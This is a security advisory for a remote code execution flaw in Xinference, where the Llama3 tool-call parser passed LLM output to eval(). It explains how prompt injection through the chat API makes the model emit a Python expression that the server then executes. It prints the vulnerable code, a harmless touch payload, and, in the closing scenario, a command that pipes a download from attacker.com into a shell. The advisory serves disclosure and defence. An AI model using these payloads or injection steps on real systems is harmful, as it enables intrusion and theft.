CVE-2026-61539: Xinference: eval() on LLM output enables RCE

### Summary Xinference used Python's unsafe `eval()` function when parsing Llama3 tool-call output generated by a large language model. Because the model output can be influenced by attacker-controlled prompts sent to the chat completion API, a remote attacker can craft prompts that cause the model to return a Python expression. Xinference then evaluates that expression on the server while post-processing the tool-call result. In the tested default deployment, authentication was not enabled, so the vulnerability was exploitable by an unauthenticated remote attacker through the `/v1/chat/completions` endpoint. ### Details Users can interact with deployed models through Xinference's OpenAI-compatible `/v1/chat/completions` API. The request entry point is implemented in `xinference/api/restful_api.py`; non-streaming requests call the model instance's `chat()` method and return the inference result. When the Transformers backend is used, inference results flow through the batching logic in `xinference/model/llm/transformers/core.py`. Non-streaming chat results are handled by `handle_chat_result_non_streaming()`. If the request contains a `tools` field, Xinference calls `_post_process_completion()` to parse tool-call output from the model response. The Llama3 tool-call parser is implemented in `xinference/model/llm/tool_parsers/llama3_tool_parser.py`. In affected versions, `extract_tool_calls()` parsed model output with `eval()`: ```python def extract_tool_calls( self, model_output: str ) -> List[Tuple[Optional[str], Optional[str], Optional[Dict[str, Any]]]]: try: data = eval(model_output, {}, {}) return [(None, data["name"], data["parameters"])] except Exception: return [(model_output, None, None)] ``` The intended behavior was to convert a Python dictionary-like string generated by the model into a dictionary object. However, `eval()` executes the input as a Python expression, and `eval(model_output, {}, {})` is not a security sandbox. If an attacker can influence the model output through prompt injection or direct chat input, the attacker can cause the model to return an expression such as: ```python __import__('os').system('touch /tmp/hacked') ``` When the expression reaches `eval()`, it is executed in the Xinference server process context. The harmless `touch /tmp/hacked` command can be replaced with other payloads, such as a reverse shell, malware download, sensitive file read, or lateral-movement payload. ### Score Severity: Critical CVSS v3.1: 10.0 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` Rationale: - AV:N: the vulnerable API is remotely reachable over the network; - AC:L: exploitation only requires a crafted chat-completion request and tool-call parameter; - PR:N: the tested default configuration did not require authentication; - UI:N: no user interaction is required; - S:C: command execution can affect resources beyond the Xinference application boundary; - C:H/I:H/A:H: remote code execution can fully compromise confidentiality, integrity, and availability. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Guancheng Li (lgcpku@gmail.com)

An unauthenticated attacker sends a chat-completion request to a public or internally reachable Xinference `/v1/chat/completions` endpoint with a `tools` parameter set, crafting the prompt so the Llama3 model's response resembles a tool call but is actually a Python expression, such as `__import__('os').system('curl attacker.com/payload | sh')`. Xinference's tool_parser passes this raw text to `eval(model_output, {}, {})` during post-processing, which executes the expression in the server process with no sandboxing. The attacker now has command execution on the inference host, which they can use to establish a reverse shell, exfiltrate any data or credentials accessible to that host, or pivot laterally into the rest of the environment — all without ever authenticating to the service.